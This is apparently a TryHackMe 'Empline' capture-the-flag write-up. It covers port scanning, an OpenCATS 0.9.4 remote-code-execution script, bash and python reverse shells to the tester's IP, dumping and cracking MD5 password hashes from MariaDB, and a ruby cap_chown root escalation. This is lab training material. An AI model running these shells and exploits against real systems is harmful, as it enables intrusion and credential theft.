TryHackMe - Empline

Are you good enough to apply for this job?

Title Empline
Difficulty Medium
Authors zyeinn
Tags linux, web, privilege escalation, enumeration

Enumeration

Nmap

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn empline.thm
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-27 06:00 EDT
Warning: 10.10.241.237 giving up on port because retransmission cap hit (10).
Nmap scan report for empline.thm (10.10.241.237)
Host is up (0.25s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql

Nmap done: 1 IP address (1 host up) scanned in 33.02 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -A -Pn -p 22,80,3306 empline.thm
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-27 06:00 EDT
Nmap scan report for empline.thm (10.10.241.237)
Host is up (0.40s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c0:d5:41:ee:a4:d0:83:0c:97:0d:75:cc:7b:10:7f:76 (RSA)
|   256 83:82:f9:69:19:7d:0d:5c:53:65:d5:54:f6:45:db:74 (ECDSA)
|_  256 4f:91:3e:8b:69:69:09:70:0e:82:26:28:5c:84:71:c9 (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Empline
3306/tcp open  mysql   MySQL 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1
| mysql-info:
|   Protocol: 10
|   Version: 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1
|   Thread ID: 54
|   Capabilities flags: 63487
|   Some Capabilities: IgnoreSpaceBeforeParenthesis, FoundRows, Speaks41ProtocolNew, Speaks41ProtocolOld, SupportsCompression, ODBCClient, SupportsTransactions, InteractiveClient, Support41Auth, IgnoreSigpipes, LongPassword, LongColumnFlag, SupportsLoadDataLocal, DontAllowDatabaseTableColumn, ConnectWithDatabase, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: QQ"Tbp+$q0:oEHyH>:JG
|_  Auth Plugin Name: mysql_native_password
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: HP P2000 G3 NAS device (95%), Linux 3.1 (95%), Linux 3.2 (95%), Linux 5.4 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Thecus 4200 or N5500 NAS device (Linux 2.6.33) (93%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linksys WRV54G WAP (92%), OpenWrt (Linux 2.4.32) (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   240.66 ms 10.9.0.1
2   265.70 ms empline.thm (10.10.241.237)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.91 seconds

Why I did not perform the DIR Scan like normal? I did! But it did not bring me up much helpful information so I decided not to displayed the process in this write-up 🙂

HTTP

I can easily (that’s lie, it took me times) discover the sub-domain off the target server just simply use curl with the grep command:

┌──(kali㉿kali)-[~/TryHackMe/empline]
└─$ curl http://empline.thm/ | grep "http://"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
 <li class="scroll-to-section"><a href="http://job.empline.thm/careers" class="menu-item">Employment</a>
	100 14058  100 14058    0     0  18232      0 --:--:-- --:--:-- --:--:-- 18233

After adding the new domain into /etc/hosts, I route to the target URL and explore a login page:

Untitled

Beside enumerating for the login creds, I focus on the service name opencats and its version 0.9.4.

Exploit

I use the above information to find the exploit paths/modules:

┌──(kali㉿kali)-[~/TryHackMe/empline]
└─$ searchsploit "opencats 0.9.4"
---------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                    |  Path
---------------------------------------------------------------------------------- ---------------------------------
OpenCATS 0.9.4 - Remote Code Execution (RCE)                                      | php/webapps/50585.sh
OpenCats 0.9.4-2 - 'docx ' XML External Entity Injection (XXE)                    | php/webapps/50316.py
---------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

I choose the RCE exploit path and mirror (copy & paste) it into my current workstation:

┌──(kali㉿kali)-[~/TryHackMe/empline]
└─$ searchsploit -m php/webapps/50585
  Exploit: OpenCATS 0.9.4 - Remote Code Execution (RCE)
      URL: https://www.exploit-db.com/exploits/50585
     Path: /usr/share/exploitdb/exploits/php/webapps/50585.sh
    Codes: N/A
 Verified: False
File Type: HTML document, ASCII text
Copied to: /home/kali/TryHackMe/empline/50585.sh

┌──(kali㉿kali)-[~/TryHackMe/empline]
└─$ ./50585.sh
Usage: ./50585.sh <target URL>

As it’s usage instruction, I append the target URL as the required argument and get connect to the shell:

┌──(kali㉿kali)-[~/TryHackMe/empline]
└─$ ./50585.sh http://job.empline.thm/
 _._     _,-'""`-._
(,-.`._,'(       |\`-/|        RevCAT - OpenCAT RCE
    `-.-' \ )-`( , o o)         Nicholas  Ferreira
          `-    \`_`"'-   https://github.com/Nickguitar-e

[*] Attacking target http://job.empline.thm/
[*] Checking CATS version...
-e [*] Version detected: 0.9.4
[*] Creating temp file with payload...
[*] Checking active jobs...
./50585.sh: 105: [[: not found
-e [+] Jobs found! Using job id 1
[*] Sending payload...
-e [+] Payload bFCfG.php uploaded!
[*] Deleting created temp file...
[*] Checking shell...
-e [+] Got shell! :D
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux empline 4.15.0-147-generic #151-Ubuntu SMP Fri Jun 18 19:21:19 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
-e
$ id;whoami;pwd
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
/var/www/opencats/upload/careerportaladd
-e

This shell is quite hard to interact because it restricts most of my commands (such as using cd to change the directory) and does not response anything if the syntax is wrong or even the permissions’ problem. Therefore, I implement a new reverse shell and establish it with python3:

$ /bin/bash -i >& /dev/tcp/10.9.63.75/4444 0>&1
-e
$ python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.63.75",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.63.75] from (UNKNOWN) [10.10.117.187] 59686
$ id;whoami;pwd
id;whoami;pwd
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
/var/www/opencats/upload/careerportaladd
$ cd ..
cd ..
$ pwd
pwd
/var/www/opencats/upload

OK, now it’s easier to interact with the shell.

Horizontal Privilege Escalation

I navigate to the /var/www/opencats/ directory and start to enumerate. After all, I find out the config.php contains so much helpful sensitive information:

/* Database configuration. */
define('DATABASE_USER', 'james');
define('DATABASE_PASS', '[REDACTED]');
define('DATABASE_HOST', 'localhost');
define('DATABASE_NAME', 'opencats');

Remember from the nmap scanning that the port 3306 (mysql service) is running? Let’s dig into the database:

www-data@empline:/var/www/opencats$ mysql -u james -p
mysql -u james -p
Enter password: [REDACTED]

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 88
Server version: 10.1.48-MariaDB-0ubuntu0.18.04.1 Ubuntu 18.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

Listing the current databases → Listing the tables and figure out the table user which includes the users’s creds:

MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| opencats           |
+--------------------+
2 rows in set (0.00 sec)

MariaDB [(none)]> use opencats;
use opencats;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [opencats]> show tables;
show tables;
+--------------------------------------+
| Tables_in_opencats                   |
+--------------------------------------+
| access_level                         |
| activity                             |
| activity_type                        |
[...]
| tag                                  |
| user                                 |
| user_login                           |
| word_verification                    |
| xml_feed_submits                     |
| xml_feeds                            |
| zipcodes                             |
+--------------------------------------+
54 rows in set (0.00 sec)

MariaDB [opencats]> describe user;
describe user;
+---------------------------+--------------+------+-----+---------+----------------+
| Field                     | Type         | Null | Key | Default | Extra          |
+---------------------------+--------------+------+-----+---------+----------------+
| user_id                   | int(11)      | NO   | PRI | NULL    | auto_increment |
| site_id                   | int(11)      | NO   | MUL | 0       |                |
| user_name                 | varchar(64)  | NO   |     |         |                |
| email                     | varchar(128) | YES  |     | NULL    |                |
| password                  | varchar(128) | NO   |     |         |                |
| access_level              | int(11)      | NO   | MUL | 100     |                |
| can_change_password       | int(1)       | NO   |     | 1       |                |
| is_test_user              | int(1)       | NO   |     | 0       |                |
| last_name                 | varchar(40)  | NO   | MUL |         |                |
| first_name                | varchar(40)  | NO   | MUL |         |                |
| is_demo                   | int(1)       | YES  |     | 0       |                |
| categories                | varchar(192) | YES  |     | NULL    |                |
| session_cookie            | varchar(256) | YES  |     | NULL    |                |
| pipeline_entries_per_page | int(8)       | YES  |     | 15      |                |
| column_preferences        | longtext     | YES  |     | NULL    |                |
| force_logout              | int(1)       | YES  |     | 0       |                |
| title                     | varchar(64)  | YES  |     |         |                |
| phone_work                | varchar(64)  | YES  |     |         |                |
| phone_cell                | varchar(64)  | YES  |     |         |                |
| phone_other               | varchar(64)  | YES  |     |         |                |
| address                   | text         | YES  |     | NULL    |                |
| notes                     | text         | YES  |     | NULL    |                |
| company                   | varchar(255) | YES  |     | NULL    |                |
| city                      | varchar(64)  | YES  |     | NULL    |                |
| state                     | varchar(64)  | YES  |     | NULL    |                |
| zip_code                  | varchar(16)  | YES  |     | NULL    |                |
| country                   | varchar(128) | YES  |     | NULL    |                |
| can_see_eeo_info          | int(1)       | YES  |     | 0       |                |
+---------------------------+--------------+------+-----+---------+----------------+
28 rows in set (0.00 sec)

Then easily to retrieve the creds:

MariaDB [opencats]> select user_name, password from user;
select user_name, password from user;
+----------------+----------------------------------+
| user_name      | password                         |
+----------------+----------------------------------+
| admin          | b67b5ecc5d8902ba59c65596e4c053ec |
| cats@rootadmin | cantlogin                        |
| george         | 86d0dfda99dbebc424eb4407947356ac |
| james          | e53fbdb31890ff3bc129db0e27c473c9 |
+----------------+----------------------------------+
4 rows in set (0.00 sec)

Now I have the username and their password, it’s essential to know which user is useful (in this case is available) on this system:

www-data@empline:/var/www/opencats$ ls -l /home/
\ls -l /home/
total 8
drwxrwx--- 4 george george 4096 Sep 27 11:26 george
drwxr-xr-x 3 ubuntu ubuntu 4096 Jul 20  2021 ubuntu
www-data@empline:/var/www/opencats$ tail /etc/passwd
\tail /etc/passwd
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
ubuntu:x:1001:1001:Ubuntu:/home/ubuntu:/bin/bash
mysql:x:111:116:MySQL Server,,,:/nonexistent:/bin/false
george:x:1002:1002::/home/george:/bin/bash

george is the only user exists on this system currently (exclude the ubuntu), so I just need to crack only the hash password of george. Get back to my local machine and use hashcat to crack it within specify the hash type is MD5 (-m 0):

┌──(kali㉿kali)-[~/TryHackMe/empline]
└─$ hashcat -a 0 -m 0 creds_hash ~/Wordlists/rockyou.txt
hashcat (v6.2.6) starting
[...]
Dictionary cache hit:
* Filename..: /home/kali/Wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

86d0dfda99dbebc424eb4407947356ac:[REDACTED]
[...]

After cracking the password hash into plaintext, use su and append the username as george to become that user. Then get the user flag:

www-data@empline:/var/www/opencats$ su george
su george
Password: [REDACTED]

george@empline:/var/www/opencats$ cd
cd
george@empline:~$ ls -l
ls -l
total 4
-rw-r--r-- 1 root root 33 Jul 20  2021 user.txt
george@empline:~$ cat user.txt
cat user.txt
[REDACTED]

Vertical Privilege Escalation → root

To perform the Vertical Privilege Escalation, I enumerate the capabilities vulnerable files:

george@empline:~$ getcap -r / 2>/dev/null
getcap -r / 2>/dev/null
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/local/bin/ruby = cap_chown+ep

The cap_chown+ep means this binary could use to change the ownership of any file. And because the vulnerable binary is ruby, the exploit payload would be:

ruby -e 'require "fileutils"; FileUtils.chown(<uid>, <gid> "<target-file>")'

I verify my gid and uid first, then specify them into the payload:

george@empline:/var/www/opencats/upload$ id
id
uid=1002(george) gid=1002(george) groups=1002(george)
george@empline:/var/www/opencats/upload$ ruby -e 'require "fileutils"; FileUtils.chown(1002,1002, "/root/")'
< "fileutils"; FileUtils.chown(1002,1002, "/root/")'

Now I become the owner of the /root directory:

george@empline:/var/www/opencats/upload$ ls -l /
ls -l /
total 84
drwxr-xr-x   2 root   root    4096 Jun 23  2021 bin
drwxr-xr-x   3 root   root    4096 Jun 23  2021 boot
[...]
drwx------   4 george george  4096 Jul 20  2021 root
drwxr-xr-x  26 root   root     860 Sep 27 11:14 run
drwxr-xr-x   2 root   root    4096 Jun 23  2021 sbin
[...]

Then I have permission to access /root/ and also the sub-files/directories inside:

george@empline:/var/www/opencats/upload$ ls -l /root/
ls -l /root/
total 4
-rw-r--r-- 1 root root 33 Jul 20  2021 root.txt
george@empline:/var/www/opencats/upload$ cat /root/root.txt
cat /root/root.txt
[REDACTED]